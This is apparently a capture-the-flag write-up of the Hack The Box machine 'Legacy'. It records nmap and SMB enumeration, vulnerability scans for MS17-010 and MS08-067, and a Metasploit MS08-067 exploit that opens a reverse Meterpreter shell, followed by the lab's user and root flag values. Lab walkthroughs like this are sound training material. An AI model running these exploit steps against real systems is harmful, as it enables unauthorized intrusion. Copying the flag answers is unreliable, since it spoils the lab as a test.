

Joe Grassl

Legacy

1. Nmap gives me just SMB and a closed RDP port.

```
root@host:delta$ nmap -sS -T4 -p- 10.10.10.4
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-13 16:26 PDT
Nmap scan report for 10.10.10.4
Host is up (0.21s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT      STATE SERVICE
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  closed ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 309.03 seconds
root@host:delta$
```

2. SMB doesn't work right off the bat.

```
delta@host:~$ smbclient -L 10.10.10.4 -U Anonymous
protocol negotiation failed: NT_STATUS_IO_TIMEOUT
delta@host:~$
```

3. I tweaked the SMB config to allow legacy protocols. Now the machine name makes sense.

```
##### Global Settings #####
[global]
client min protocol = CORE
client max protocol = SMB3
```

4. Better, but I'm still not able to log in.

```
delta@host:~$ smbclient -L 10.10.10.4 -U Anonymous
Enter WORKGROUP\Anonymous's password:
session setup failed: NT_STATUS_LOGON_FAILURE
delta@host:~$ smbclient -L 10.10.10.4
Enter WORKGROUP\delta's password:
session setup failed: NT_STATUS_INVALID_PARAMETER
delta@host:~$ smbclient -L 10.10.10.4 -m CORE
Enter WORKGROUP\delta's password:
tree connect failed: NT_STATUS_ACCESS_DENIED
delta@host:~$
```

5. Scanning the SMB server with nmap scripts shows that this version is open to a couple vulnerabilities, including the infamous EternalBlue exploit.

```
Host script results:
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
|_smb-vuln-ms17-010:
|_VULNERABLE:
|_Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|_State: VULNERABLE
|_IDs: CVE:CVE-2017-0143
|_Risk factor: HIGH
|_A critical remote code execution vulnerability exists in Microsoft SMBv1
|_servers (ms17-010).
|_
|_Disclosure date: 2017-03-14
|_References:
|_https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_smb-vuln-ms08-067:
|_VULNERABLE:
|_Microsoft Windows system vulnerable to remote code execution (MS08-067)
|_State: VULNERABLE
|_IDs: CVE:CVE-2008-4250
|_The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|_Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|_code via a crafted RPC request that triggers the overflow during path canonicalization.
|_
|_Disclosure date: 2008-10-23
|_References:
|_https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
```

6. I tried EternalBlue, but it didn't work for me on this machine.

```
delta@host:~$ searchsploit eternalblue
```

Exploit Title	Path
Microsoft Windows 7/2008 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)	windows/remote/42031.py
Microsoft Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)	windows/remote/42315.py
Microsoft Windows 8/8.1/2012 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-010)	windows_x86-64/remote/42030.py

```
Shellcodes: No Results
delta@host:~$
```

7. There were also some exploits available for the other vulnerability found by nmap, which is nine years older than EternalBlue.

```
delta@host:~$ searchsploit MS08-067
```

Exploit Title	Path
Microsoft Windows - 'NetAPI32.dll' Code Execution (Python) (MS08-067)	windows/remote/40279.py
Microsoft Windows Server - Code Execution (MS08-067)	windows/remote/7104.c
Microsoft Windows Server - Code Execution (PoC) (MS08-067)	windows/dos/6024.txt
Microsoft Windows Server - Service Relative Path Stack Corruption (MS08-067) (Metasploit)	windows/remote/16362.rb
Microsoft Windows Server - Universal Code Execution (MS08-067)	windows/remote/6841.txt
Microsoft Windows Server 2000/2003 - Code Execution (MS08-067)	windows/remote/7132.py

```
Shellcodes: No Results
delta@host:~$
```

8. Metasploit has one, too. It works!

```
msf6 exploit(windows/smb/ms08_067_netapi) > set rhosts 10.10.10.4
rhosts => 10.10.10.4
msf6 exploit(windows/smb/ms08_067_netapi) > set lhost 10.10.14.24
lhost => 10.10.14.24
msf6 exploit(windows/smb/ms08_067_netapi) > run

[*] Started reverse TCP handler on 10.10.14.24:4444
[*] 10.10.10.4:445 - Automatically detecting the target...
[*] 10.10.10.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 10.10.10.4:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.10.10.4:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175174 bytes) to 10.10.10.4
[*] Meterpreter session 1 opened (10.10.14.24:4444 -> 10.10.10.4:1031 ) at 2022-04-05 09:19:13 -0700

meterpreter > █
```

9. Just like that, we have the user flag.

```
meterpreter > cd Desktop
meterpreter > ls
Listing: C:\Documents and Settings\john\Desktop
=====

Mode                Size Type Last modified          Name
----                -
100444/r--r--r--  32  fil  2017-03-15 23:19:49 -0700  user.txt

meterpreter > cat user.txt
e69af0e5f443de7e36876fda4ec7644fmeterpreter > █
```

10. The root flag is just as easy. No privilege escalation required!

```
meterpreter > cd Desktop
meterpreter > ls
Listing: C:\Documents and Settings\Administrator\Desktop
=====

Mode                Size Type Last modified          Name
----                -
100444/r--r--r--  32  fil  2017-03-15 23:18:50 -0700  root.txt

meterpreter > cat root.txt
993442d258b0e0ec917cae9e695d5713meterpreter > █
```